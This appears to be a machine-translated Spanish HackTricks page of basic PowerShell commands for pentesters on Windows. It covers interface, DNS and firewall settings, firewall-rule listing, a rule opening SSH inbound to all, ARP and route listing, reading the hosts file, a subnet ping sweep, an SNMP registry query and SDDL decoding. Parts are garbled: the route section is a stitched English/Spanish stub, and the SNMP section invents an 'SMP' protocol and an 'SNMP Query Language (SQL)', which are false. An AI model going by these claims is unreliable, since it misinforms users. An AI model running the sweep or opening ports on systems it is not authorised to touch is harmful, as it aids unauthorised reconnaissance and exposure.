Puedes configurar una dirección IP dinámica (DHCP) en una interfaz de red utilizando el siguiente comando de PowerShell:
Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -Dhcp Enabled
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP dinámica.
Cambiar la métrica de una interfaz
Puedes cambiar la métrica de una interfaz de red utilizando el siguiente comando de PowerShell:
Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -InterfaceMetric "Nueva métrica"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la métrica, y "Nueva métrica" con el valor de la nueva métrica que deseas asignar.
Configurar DNS en una interfaz
Puedes configurar los servidores DNS en una interfaz de red utilizando el siguiente comando de PowerShell:
Set-DnsClientServerAddress -InterfaceAlias "Nombre de la interfaz" -ServerAddresses "Direcciones de servidor DNS separadas por comas"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar los servidores DNS, y "Direcciones de servidor DNS separadas por comas" con las direcciones IP de los servidores DNS que deseas asignar, separadas por comas.
Estos son solo algunos ejemplos de cómo utilizar PowerShell para administrar y configurar las interfaces de red en Windows. PowerShell ofrece muchas más opciones y comandos para trabajar con las interfaces de red, por lo que te recomiendo explorar la documentación oficial de PowerShell para obtener más información.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall
Un firewall es una medida de seguridad crucial para proteger una red de posibles amenazas externas. Actúa como una barrera entre la red interna y el mundo exterior, controlando el tráfico de red y permitiendo o bloqueando ciertas conexiones según las reglas establecidas.
En Windows, el firewall se puede configurar utilizando PowerShell. PowerShell es una herramienta de línea de comandos y scripting que permite a los pentesters automatizar tareas y realizar acciones específicas en un sistema Windows.
A continuación se muestra un ejemplo de cómo utilizar PowerShell para configurar el firewall en Windows:
# Habilitar el firewall
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
# Permitir el tráfico entrante en un puerto específico
New-NetFirewallRule -DisplayName "Allow Port 80" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow
# Bloquear el tráfico saliente hacia una dirección IP específica
New-NetFirewallRule -DisplayName "Block Outgoing Traffic" -Direction Outbound -RemoteAddress 192.168.0.1 -Action Block
En el ejemplo anterior, se habilita el firewall para los perfiles de red de dominio, público y privado. Luego, se crea una regla para permitir el tráfico entrante en el puerto 80 y otra regla para bloquear el tráfico saliente hacia la dirección IP 192.168.0.1.
El uso de PowerShell para configurar el firewall en Windows ofrece a los pentesters una forma eficiente de fortalecer la seguridad de un sistema y protegerlo contra posibles ataques.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Ruta
Description
This module provides information about the network routes on the target system.
Usage
route
Example
route
Descripción
Este módulo proporciona información sobre las rutas de red en el sistema objetivo.
Uso
route
Ejemplo
route
route print
ARP
El Protocolo de Resolución de Direcciones (ARP, por sus siglas en inglés) es un protocolo de red utilizado para asociar direcciones IP con direcciones MAC en una red local. ARP se utiliza para descubrir la dirección MAC de un dispositivo en la misma red local, dado su dirección IP.
El funcionamiento básico de ARP implica que un dispositivo envíe una solicitud ARP (ARP request) a la red local, preguntando por la dirección MAC asociada a una dirección IP específica. El dispositivo con la dirección IP solicitada responderá con un mensaje ARP (ARP reply) que contiene su dirección MAC.
ARP es ampliamente utilizado en redes Ethernet y es esencial para el funcionamiento de la comunicación en una red local. Sin embargo, también puede ser utilizado en ataques de suplantación de identidad (spoofing) y envenenamiento de ARP (ARP poisoning) para interceptar y manipular el tráfico de red.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts
Los archivos de hosts son utilizados por el sistema operativo para mapear nombres de dominio a direcciones IP. Esto se hace para evitar la necesidad de consultar un servidor DNS cada vez que se accede a un sitio web. En Windows, el archivo de hosts se encuentra en la siguiente ubicación:
C:\Windows\System32\drivers\etc\hosts
Puedes editar este archivo para redirigir nombres de dominio a direcciones IP diferentes. Esto puede ser útil en situaciones de prueba de penetración, donde deseas redirigir un nombre de dominio a tu propia máquina para realizar pruebas.
Sin embargo, ten en cuenta que modificar el archivo de hosts puede tener consecuencias no deseadas y afectar el funcionamiento normal del sistema. Asegúrate de hacer una copia de seguridad del archivo original antes de realizar cualquier modificación.
PowerShell
PowerShell es una herramienta de línea de comandos y scripting desarrollada por Microsoft. Es especialmente útil para los profesionales de la seguridad informática, ya que proporciona una amplia gama de funcionalidades para la automatización de tareas y la administración de sistemas.
PowerShell utiliza un lenguaje de scripting basado en .NET Framework, lo que le permite interactuar con una amplia variedad de servicios y componentes del sistema operativo. También es compatible con la ejecución de comandos remotos en sistemas Windows, lo que lo convierte en una herramienta valiosa para los pentesters.
En este directorio, encontrarás algunos scripts básicos de PowerShell que pueden ser útiles para los pentesters. Estos scripts abarcan desde la enumeración de información del sistema hasta la ejecución de comandos remotos en máquinas Windows.
Recuerda que el uso de PowerShell para fines maliciosos o sin el consentimiento del propietario del sistema es ilegal y éticamente incorrecto. Asegúrate de utilizar estas herramientas solo con fines legítimos y dentro de los límites de la ley.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
El comando ping
se utiliza para verificar la conectividad entre dos dispositivos en una red. Envía un paquete de datos a la dirección IP de destino y espera una respuesta. Esto permite determinar si el dispositivo de destino está accesible y cuánto tiempo tarda en responder.
Uso básico
ping <dirección IP>
Por ejemplo:
ping 192.168.0.1
Opciones comunes
-t
: Envía paquetes de ping de forma continua hasta que se detenga manualmente.-n <número>
: Especifica el número de paquetes de ping que se enviarán.-l <tamaño>
: Especifica el tamaño del paquete de ping en bytes.-w <tiempo>
: Especifica el tiempo de espera en milisegundos para recibir una respuesta.
Por ejemplo:
ping -t 192.168.0.1
ping -n 5 192.168.0.1
ping -l 1000 192.168.0.1
ping -w 2000 192.168.0.1
Interpretación de los resultados
Respuesta desde <dirección IP>: bytes=<tamaño> tiempo=<tiempo>ms TTL=<TTL>
: Indica que se recibió una respuesta exitosa desde la dirección IP especificada.Tiempo de espera agotado para esta solicitud.
: Indica que no se recibió una respuesta dentro del tiempo de espera especificado.Solicitud expirada.
: Indica que el paquete de ping no pudo alcanzar su destino debido a un problema en la red.Host de destino inaccesible.
: Indica que el dispositivo de destino no está accesible o no existe en la red.
Consideraciones de seguridad
El comando ping
puede revelar información sensible sobre la red, como direcciones IP y nombres de host. Por lo tanto, es importante tener en cuenta las consideraciones de seguridad al utilizar este comando en un entorno de pentesting.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos en una red. SNMP permite a los administradores de red recopilar información sobre el estado y el rendimiento de los dispositivos, así como realizar acciones de administración, como reiniciar un dispositivo o cambiar su configuración.
SNMP utiliza un modelo cliente-servidor, donde los dispositivos administrados actúan como servidores SNMP y los sistemas de administración actúan como clientes SNMP. Los dispositivos administrados exponen información en forma de objetos gestionados, que pueden ser consultados y modificados por los clientes SNMP.
Los comandos SNMP más comunes son:
- GET: utilizado para obtener el valor de un objeto gestionado.
- SET: utilizado para cambiar el valor de un objeto gestionado.
- GETNEXT: utilizado para obtener el siguiente objeto gestionado en una secuencia.
- GETBULK: utilizado para obtener múltiples objetos gestionados en una sola solicitud.
SNMP utiliza una estructura de datos llamada Protocolo de Datos de Administración Simple (SMP, por sus siglas en inglés) para representar la información. SMP define una jerarquía de objetos gestionados organizados en una estructura de árbol. Cada objeto gestionado tiene un identificador único llamado Identificador de Objeto (OID, por sus siglas en inglés).
Los sistemas de administración SNMP pueden utilizar el lenguaje de consulta SNMP (SNMP Query Language, SQL) para realizar consultas y filtrar la información obtenida. SQL permite a los administradores de red especificar los objetos gestionados que desean consultar y los criterios de filtrado que deben cumplir.
SNMP es ampliamente utilizado en redes empresariales para supervisar y administrar dispositivos de red, como enrutadores, conmutadores y servidores. Sin embargo, también puede ser utilizado por atacantes para obtener información sensible sobre la red y los dispositivos administrados. Por lo tanto, es importante asegurar adecuadamente los dispositivos SNMP y limitar el acceso a ellos para evitar posibles ataques.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Convirtiendo la cadena SDDL en un formato legible
Cuando se realiza una evaluación de seguridad en un entorno de Windows, a menudo es necesario analizar los permisos y configuraciones de seguridad de los objetos del sistema. Una forma común de representar estos permisos es mediante una cadena SDDL (Security Descriptor Definition Language). Sin embargo, la cadena SDDL puede ser difícil de leer y comprender para los pentesters.
Afortunadamente, PowerShell proporciona una forma sencilla de convertir una cadena SDDL en un formato legible. El cmdlet ConvertFrom-SddlString
se puede utilizar para realizar esta conversión.
A continuación se muestra un ejemplo de cómo utilizar este cmdlet:
$sddl = "O:BAG:BAD:(A;;0x1;;;S-1-5-32-544)(A;;0x1;;;S-1-5-18)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddl
$securityDescriptor
Este código tomará la cadena SDDL proporcionada y la convertirá en un objeto de descriptor de seguridad legible. El resultado se mostrará en la consola de PowerShell.
La salida del ejemplo anterior se verá así:
Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
AccessRules : {NT AUTHORITY\SYSTEM, BUILTIN\Administrators}
AuditRules : {}
Como se puede ver, la cadena SDDL se ha convertido en un formato legible que muestra el propietario, el grupo y las reglas de acceso del objeto.
Esta técnica puede ser útil para los pentesters al analizar los permisos y configuraciones de seguridad en un entorno de Windows.
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Propietario: BUILTIN\Administradores
Grupo: BUILTIN\Administradores
DiscretionaryAcl: {Everyone: AccesoDenegado (WriteData), Everyone: AccesoPermitido (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccesoPermitido (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccesoPermitido (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
SystemAcl: {Everyone: AuditoríaDelSistema AccesoExitoso (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administradores: AuditoríaDelSistema AccesoExitoso (WriteAttributes), DOMAIN_NAME\Usuarios del dominio: AuditoríaDelSistema AccesoExitoso (WriteAttributes), Everyone: AuditoríaDelSistema AccesoExitoso (Traverse)...}
RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>